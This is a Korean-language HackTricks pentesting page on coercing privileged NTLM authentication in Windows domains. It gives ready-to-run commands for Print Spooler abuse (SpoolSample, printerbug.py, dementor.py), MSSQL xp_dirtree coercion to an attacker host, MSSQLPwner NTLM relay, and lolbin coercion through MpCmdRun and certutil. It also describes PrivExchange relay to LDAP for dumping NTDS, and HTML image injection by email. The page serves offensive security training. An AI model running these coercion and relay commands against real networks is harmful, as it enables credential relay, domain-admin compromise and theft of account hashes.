# Force NTLM Privileged Authentication {{#include ../../banners/hacktricks-training.md}} ## SharpSystemTriggers [**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers)는 **3rd party dependencies**를 피하기 위해 MIDL 컴파일러를 사용하여 C#로 코딩된 **원격 인증 트리거**의 **모음**입니다. ## Spooler Service Abuse _**Print Spooler**_ 서비스가 **활성화**되어 있으면, 이미 알려진 AD 자격 증명을 사용하여 도메인 컨트롤러의 프린트 서버에 새로운 인쇄 작업에 대한 **업데이트**를 **요청**하고 이를 **어떤 시스템으로 알리도록** 지시할 수 있습니다.\ 프린터가 임의의 시스템으로 알림을 보낼 때, 해당 **시스템**에 대해 **인증**해야 합니다. 따라서 공격자는 _**Print Spooler**_ 서비스가 임의의 시스템에 대해 인증하도록 만들 수 있으며, 이 인증에서 서비스는 **컴퓨터 계정**을 **사용**합니다. ### Finding Windows Servers on the domain PowerShell을 사용하여 Windows 박스 목록을 가져옵니다. 서버는 일반적으로 우선 순위가 높으므로, 여기에 집중합시다: ```bash Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt ``` ### Spooler 서비스 수신 확인 약간 수정된 @mysmartlogin의 (Vincent Le Toux의) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket)를 사용하여 Spooler 서비스가 수신 중인지 확인합니다: ```bash . .\Get-SpoolStatus.ps1 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server} ``` Linux에서 rpcdump.py를 사용하여 MS-RPRN 프로토콜을 찾을 수도 있습니다. ```bash rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN ``` ### 서비스에 임의의 호스트에 대해 인증하도록 요청 [ **여기에서 SpoolSample을 컴파일할 수 있습니다**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.** ```bash SpoolSample.exe ``` 또는 Linux를 사용하는 경우 [**3xocyte의 dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) 또는 [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)를 사용하세요. ```bash python dementor.py -d domain -u username -p password printerbug.py 'domain/username:password'@ ``` ### Unconstrained Delegation과 결합 공격자가 이미 [Unconstrained Delegation](unconstrained-delegation.md)으로 컴퓨터를 손상시킨 경우, 공격자는 **프린터가 이 컴퓨터에 대해 인증하도록 만들 수 있습니다**. 비제한 위임으로 인해 **프린터의 컴퓨터 계정의 TGT**가 **비제한 위임이 있는 컴퓨터의 메모리에 저장됩니다**. 공격자가 이미 이 호스트를 손상시켰기 때문에, 그는 **이 티켓을 검색하고 악용할 수 있습니다** ([Pass the Ticket](pass-the-ticket.md)). ## RCP 강제 인증 {{#ref}} https://github.com/p0dalirius/Coercer {{#endref}} ## PrivExchange `PrivExchange` 공격은 **Exchange Server `PushSubscription` 기능**에서 발견된 결함의 결과입니다. 이 기능은 Exchange 서버가 메일박스가 있는 모든 도메인 사용자에 의해 HTTP를 통해 클라이언트 제공 호스트에 인증되도록 강제할 수 있게 합니다. 기본적으로 **Exchange 서비스는 SYSTEM으로 실행되며** 과도한 권한이 부여됩니다 (특히, **2019년 누적 업데이트 이전 도메인에 대한 WriteDacl 권한이 있습니다**). 이 결함은 **LDAP에 정보를 중계하고 이후 도메인 NTDS 데이터베이스를 추출할 수 있도록 악용될 수 있습니다**. LDAP로의 중계가 불가능한 경우에도 이 결함은 여전히 도메인 내의 다른 호스트에 중계하고 인증하는 데 사용될 수 있습니다. 이 공격의 성공적인 악용은 인증된 도메인 사용자 계정으로 도메인 관리자의 즉각적인 접근을 허용합니다. ## Windows 내부 Windows 머신 내부에 이미 있는 경우, 다음을 사용하여 권한 있는 계정으로 서버에 연결하도록 Windows를 강제할 수 있습니다: ### Defender MpCmdRun ```bash C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\\file.txt ``` ### MSSQL ```sql EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1 ``` [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) ```shell # Issuing NTLM relay attack on the SRV01 server mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250 # Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250 # Issuing NTLM relay attack on the local server with custom command mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` 또는 이 다른 기술을 사용할 수 있습니다: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) ### Certutil certutil.exe lolbin (Microsoft 서명 이진 파일)을 사용하여 NTLM 인증을 강제할 수 있습니다: ```bash certutil.exe -syncwithWU \\127.0.0.1\share ``` ## HTML 주입 ### 이메일을 통한 당신이 침해하고자 하는 머신에 로그인하는 사용자의 **이메일 주소**를 알고 있다면, 그에게 **1x1 이미지**가 포함된 **이메일**을 보낼 수 있습니다. ```html ``` 그가 그것을 열면, 인증을 시도할 것입니다. ### MitM 컴퓨터에 MitM 공격을 수행하고 그가 볼 수 있는 페이지에 HTML을 주입할 수 있다면, 다음과 같은 이미지를 페이지에 주입해 볼 수 있습니다: ```html ``` ## NTLMv1 크래킹 [NTLMv1 챌린지를 캡처할 수 있다면 여기에서 크래킹하는 방법을 읽어보세요](../ntlm/index.html#ntlmv1-attack).\ _Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_ {{#include ../../banners/hacktricks-training.md}}